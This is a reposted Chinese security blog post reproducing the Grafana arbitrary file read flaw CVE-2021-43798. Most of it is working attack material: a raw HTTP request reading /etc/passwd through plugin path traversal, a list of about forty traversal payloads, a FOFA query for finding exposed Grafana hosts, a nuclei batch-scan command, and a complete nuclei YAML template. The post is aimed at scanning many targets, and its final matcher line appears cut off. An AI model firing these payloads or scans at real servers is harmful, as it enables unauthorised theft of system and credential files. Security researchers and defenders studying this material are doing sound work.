CVE-2021-43798 Grafana任意文件读取漏洞

本文转载于公众号:融云攻防实验室,原文地址:

漏洞复现 CVE-2021-43798 Grafana任意文件读取漏洞

0x01 阅读须知

资源来源于网络,安全小天地只是再次进行分享,使用请遵循本站的免责申明

0x02 漏洞描述

 Grafana是一个跨平台、开源的数据可视化网络应用程序平台。用户配置连接的数据源之后,Grafana可以在网络浏览器里显示数据图表和警告。未授权的攻击者利用该漏洞,能够获取服务器敏感文件。

图片[1]-CVE-2021-43798 Grafana任意文件读取漏洞-安全小天地

0x03 漏洞复现

漏洞影响: 

Grafana 8.0.0 – 8.3.0

FOFA:app=”Grafana”

1.抓包并修改payload,即可任意读取/etc/passwd

数据包:
GET /public/plugins/annolist/../../../../../../../../../../../etc/passwd HTTP/1.1
Host: x.x.x.x:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:101.0) Gecko/20100101 Firefox/101.0

payload集合:
/public/plugins/alertlist/../../../../../../../../../../../etc/passwd
/public/plugins/annolist/../../../../../../../../../../../etc/passwd
/public/plugins/grafana-azure-monitor-datasource/../../../../../../../../../../../etc/passwd
/public/plugins/barchart/../../../../../../../../../../../etc/passwd
/public/plugins/bargauge/../../../../../../../../../../../etc/passwd
/public/plugins/cloudwatch/../../../../../../../../../../../etc/passwd
/public/plugins/dashlist/../../../../../../../../../../../etc/passwd
/public/plugins/elasticsearch/../../../../../../../../../../../etc/passwd
/public/plugins/gauge/../../../../../../../../../../../etc/passwd
/public/plugins/geomap/../../../../../../../../../../../etc/passwd
/public/plugins/gettingstarted/../../../../../../../../../../../etc/passwd
/public/plugins/stackdriver/../../../../../../../../../../../etc/passwd
/public/plugins/graph/../../../../../../../../../../../etc/passwd
/public/plugins/graphite/../../../../../../../../../../../etc/passwd
/public/plugins/heatmap/../../../../../../../../../../../etc/passwd
/public/plugins/histogram/../../../../../../../../../../../etc/passwd
/public/plugins/influxdb/../../../../../../../../../../../etc/passwd
/public/plugins/jaeger/../../../../../../../../../../../etc/passwd
/public/plugins/logs/../../../../../../../../../../../etc/passwd
/public/plugins/loki/../../../../../../../../../../../etc/passwd
/public/plugins/mssql/../../../../../../../../../../../etc/passwd
/public/plugins/mysql/../../../../../../../../../../../etc/passwd
/public/plugins/news/../../../../../../../../../../../etc/passwd
/public/plugins/nodeGraph/../../../../../../../../../../../etc/passwd
/public/plugins/opentsdb/../../../../../../../../../../../etc/passwd
/public/plugins/piechart/../../../../../../../../../../../etc/passwd
/public/plugins/pluginlist/../../../../../../../../../../../etc/passwd
/public/plugins/postgres/../../../../../../../../../../../etc/passwd
/public/plugins/prometheus/../../../../../../../../../../../etc/passwd
/public/plugins/stat/../../../../../../../../../../../etc/passwd
/public/plugins/state-timeline/../../../../../../../../../../../etc/passwd
/public/plugins/status-history/../../../../../../../../../../../etc/passwd
/public/plugins/table/../../../../../../../../../../../etc/passwd
/public/plugins/table-old/../../../../../../../../../../../etc/passwd
/public/plugins/tempo/../../../../../../../../../../../etc/passwd
/public/plugins/testdata/../../../../../../../../../../../etc/passwd
/public/plugins/text/../../../../../../../../../../../etc/passwd
/public/plugins/timeseries/../../../../../../../../../../../etc/passwd
/public/plugins/welcome/../../../../../../../../../../../etc/passwd
/public/plugins/zipkin/../../../../../../../../../../../etc/passwd
图片[2]-CVE-2021-43798 Grafana任意文件读取漏洞-安全小天地

2.nuclei漏洞脚本如下(nuclei稳定快,编写poc简单,有社区维护,推荐使用)

nuclei下载地址:https://github.com/projectdiscovery/nuclei

批量验证命令:
nuclei.exe -list subs.txt -t cves/2021/CVE-2021-43798.yaml

yaml POC:
id: CVE-2021-43798

info:
  name: Grafana v8.x Arbitrary File Read
  author: z0ne,dhiyaneshDk
  severity: high
  description: Grafana versions 8.0.0-beta1 through 8.3.0 are vulnerable to a local directory traversal, allowing access to local files. The vulnerable URL path is `<grafana_host_url>/public/plugins/NAME/`, where NAME is the plugin ID for any installed plugin.
  reference:
    - https://github.com/grafana/grafana/security/advisories/GHSA-8pjx-jj86-j47p
    - https://nosec.org/home/detail/4914.html
    - https://github.com/jas502n/Grafana-VulnTips
    - https://nvd.nist.gov/vuln/detail/CVE-2021-43798
  remediation: Upgrade to patched versions 8.0.7, 8.1.8, 8.2.7, or 8.3.1.
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-43798
    cwe-id: CWE-22
  tags: cve,cve2021,grafana,lfi

requests:
  - raw:
      - |
        GET {{(auth)}} HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:101.0) Gecko/20100101 Firefox/101.0

    payloads:
      auth:
        - \"/public/plugins/alertlist/../../../../../../../../../../../etc/passwd\"
        - \"/public/plugins/annolist/../../../../../../../../../../../etc/passwd\"
        - \"/public/plugins/grafana-azure-monitor-datasource/../../../../../../../../../../../etc/passwd\"
        - \"/public/plugins/barchart/../../../../../../../../../../../etc/passwd\"
        - \"/public/plugins/bargauge/../../../../../../../../../../../etc/passwd\"
        - \"/public/plugins/cloudwatch/../../../../../../../../../../../etc/passwd\"
        - \"/public/plugins/dashlist/../../../../../../../../../../../etc/passwd\"
        - \"/public/plugins/elasticsearch/../../../../../../../../../../../etc/passwd\"
        - \"/public/plugins/gauge/../../../../../../../../../../../etc/passwd\"
        - \"/public/plugins/geomap/../../../../../../../../../../../etc/passwd\"
        - \"/public/plugins/gettingstarted/../../../../../../../../../../../etc/passwd\"
        - \"/public/plugins/stackdriver/../../../../../../../../../../../etc/passwd\"
        - \"/public/plugins/graph/../../../../../../../../../../../etc/passwd\"
        - \"/public/plugins/graphite/../../../../../../../../../../../etc/passwd\"
        - \"/public/plugins/heatmap/../../../../../../../../../../../etc/passwd\"
        - \"/public/plugins/histogram/../../../../../../../../../../../etc/passwd\"
        - \"/public/plugins/influxdb/../../../../../../../../../../../etc/passwd\"
        - \"/public/plugins/jaeger/../../../../../../../../../../../etc/passwd\"
        - \"/public/plugins/logs/../../../../../../../../../../../etc/passwd\"
        - \"/public/plugins/loki/../../../../../../../../../../../etc/passwd\"
        - \"/public/plugins/mssql/../../../../../../../../../../../etc/passwd\"
        - \"/public/plugins/mysql/../../../../../../../../../../../etc/passwd\"
        - \"/public/plugins/news/../../../../../../../../../../../etc/passwd\"
        - \"/public/plugins/nodeGraph/../../../../../../../../../../../etc/passwd\"
        - \"/public/plugins/opentsdb/../../../../../../../../../../../etc/passwd\"
        - \"/public/plugins/piechart/../../../../../../../../../../../etc/passwd\"
        - \"/public/plugins/pluginlist/../../../../../../../../../../../etc/passwd\"
        - \"/public/plugins/postgres/../../../../../../../../../../../etc/passwd\"
        - \"/public/plugins/prometheus/../../../../../../../../../../../etc/passwd\"
        - \"/public/plugins/stat/../../../../../../../../../../../etc/passwd\"
        - \"/public/plugins/state-timeline/../../../../../../../../../../../etc/passwd\"
        - \"/public/plugins/status-history/../../../../../../../../../../../etc/passwd\"
        - \"/public/plugins/table/../../../../../../../../../../../etc/passwd\"
        - \"/public/plugins/table-old/../../../../../../../../../../../etc/passwd\"
        - \"/public/plugins/tempo/../../../../../../../../../../../etc/passwd\"
        - \"/public/plugins/testdata/../../../../../../../../../../../etc/passwd\"
        - \"/public/plugins/text/../../../../../../../../../../../etc/passwd\"
        - \"/public/plugins/timeseries/../../../../../../../../../../../etc/passwd\"
        - \"/public/plugins/welcome/../../../../../../../../../../../etc/passwd\"
        - \"/public/plugins/zipkin/../../../../../../../../../../../etc/passwd\"
    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - \"root:\"
          - \"grafana:\"
        condition: an
------本文已结束,感谢您的阅读------
THE END
喜欢就支持一下吧
点赞10 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容